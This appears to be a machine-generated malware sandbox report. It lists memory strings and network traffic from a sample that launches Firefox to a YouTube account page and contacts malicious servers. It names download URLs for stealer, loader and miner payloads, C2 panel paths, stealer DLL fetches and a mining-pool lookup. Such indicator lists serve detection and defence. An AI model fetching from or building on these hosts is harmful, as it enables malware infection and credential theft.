Source: firefox.exe, 0000001F.00000002.2985333339.000001C0DA8E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsC equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000002.1868547866.0000022EF4980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\Roamingb2eincfilepath=C:\Users\user\DesktopchromePath=C:\Program Files\Google\Chrome\Application\chrome.exeCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataedgePath=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exefirefoxPath=C:\Program Files\Mozilla Firefox\firefox.exeFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;;C:\ProgramData\PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramFiles64=C:\Program FilesProgramFiles86=C:\Program Files (x86)ProgramW6432=C:\Program FilesPROMPT=$P$GPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows* equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000002.1868034172.0000022EF4540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000F.00000002.1926937706.0000029000300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000002.1868034172.0000022EF4540000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\Desktop\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"Winsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000F.00000002.1926937706.0000029000300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2960744313.000001C0DA43A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2985333339.000001C0DA8E4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2985333339.000001C0DA8E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2960744313.000001C0DA43A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountV equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.2958151625.0000028272240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountg equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000002.1868547866.0000022EF4980000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000002.1868034172.0000022EF4549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: URL=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000002.1868547866.0000022EF4980000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \AppData\Local\TempURL=https://www.youtube.com/accountUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.2982669619.0000028272660000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\bro> equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2985333339.000001C0DA8E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\broS equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000010.00000003.2550164665.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2141517931.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2276257169.0000025CA7B4E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2041475296.0000025CACDD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.2041475296.0000025CACDD6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2042257077.0000025CAC759000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000C.00000002.1868034172.0000022EF4561000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000C.00000003.1861999586.0000022EF455C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: userBKFCAFCFBA.exe, 00000007.00000003.1845679992.00000000021B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: set "URL=https://www.youtube. equals www.youtube.com (Youtube)
Source: userBKFCAFCFBA.exe, 00000007.00000003.1849214177.00000000021F0000.00000004.00000020.00020000.00000000.sdmp, userBKFCAFCFBA.exe, 00000007.00000003.1845679992.00000000021B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: set "URL=https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.2270218342.0000025CAB2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.2010873353.0000025CACDFD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.1988917143.0000025CACDFD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.2484457804.00000F1F81980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.2270218342.0000025CAB2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2270218342.0000025CAB292000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2270218342.0000025CAB2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.2150129129.0000025CA6C6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: accounts.youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: pool.supportxmr.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: firefox.exe, 00000010.00000003.2252300150.0000025CA91A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2083905777.0000025CA91A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.2273469753.0000025CA91A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2984669690.000001C0DA800000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2963776274.00000282723C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012D2000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 0000002F.00000002.2971064872.00000000012B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/OneDrive.exe
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/OneDrive.exe123456789
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.10.57/selectex-file-host/OneDrive.exeT
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/%-
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.php$Krs:
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpK.s4
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpMN
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpi
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phplF
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpp
Source: axplong.exe, 0000002F.00000002.2971064872.000000000127B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpt
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpuM
Source: axplong.exe, 0000002F.00000002.2971064872.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/Kiru9gu/index.phpxN/r
Source: file.exe, 00000000.00000002.2140652830.00000000026AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe
Source: file.exe, 00000000.00000002.2140652830.00000000026AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/cost/go.exe#
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/cost/num.exe
Source: file.exe, 00000000.00000002.2140652830.00000000026AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/mine/amadka.exe
Source: file.exe, 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2140652830.00000000026AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/soka/random.exe
Source: file.exe, 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://77.91.77.81/soka/random.exe00Start23bfa887c92
Source: file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/soka/random.exea
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exe
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exeF
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exeK
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.81/stealc/random.exef7e3b4460
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.phpf
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php/T
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php0
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.php:
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpD
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpN
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpR
Source: explorti.exe, 0000002E.00000002.2970763722.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpU
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phplF
Source: explorti.exe, 0000002E.00000002.2970763722.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.91.77.82/Hun4Ko/index.phpmV
Source: file.exe, 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmp, 1a87deddda.exe, 00000031.00000002.2456854467.00000000024FE000.00000004.00000020.00020000.00000000.sdmp, 1a87deddda.exe, 00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31
Source: file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140652830.00000000026AB000.00000004.00000020.00020000.00000000.sdmp, 1a87deddda.exe, 00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp, 1a87deddda.exe, 00000031.00000002.2458058128.000000000255B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/
Source: 1a87deddda.exe, 00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp, 1a87deddda.exe, 00000031.00000002.2458058128.000000000255B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php
Source: file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php499d72b3a3e55be.php
Source: file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php7
Source: file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.php8
Source: 1a87deddda.exe, 00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpB
Source: file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpE
Source: 1a87deddda.exe, 00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpf
Source: file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpingPreference.Verb
Source: file.exe, 00000000.00000002.2160956008.0000000028B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpl
Source: 1a87deddda.exe, 00000031.00000002.2458058128.000000000255B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phpm
Source: file.exe, 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://85.28.47.31/5499d72b3a3e55be.phposition:
Source: file.exe, 00000000.00000002.2140652830.0000000002678000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dll
Source: file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/freebl3.dllr
Source: file.exe, 00000000.00000002.2140652830.00000000026C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.31/8405906461a5200c/mozglue.dll
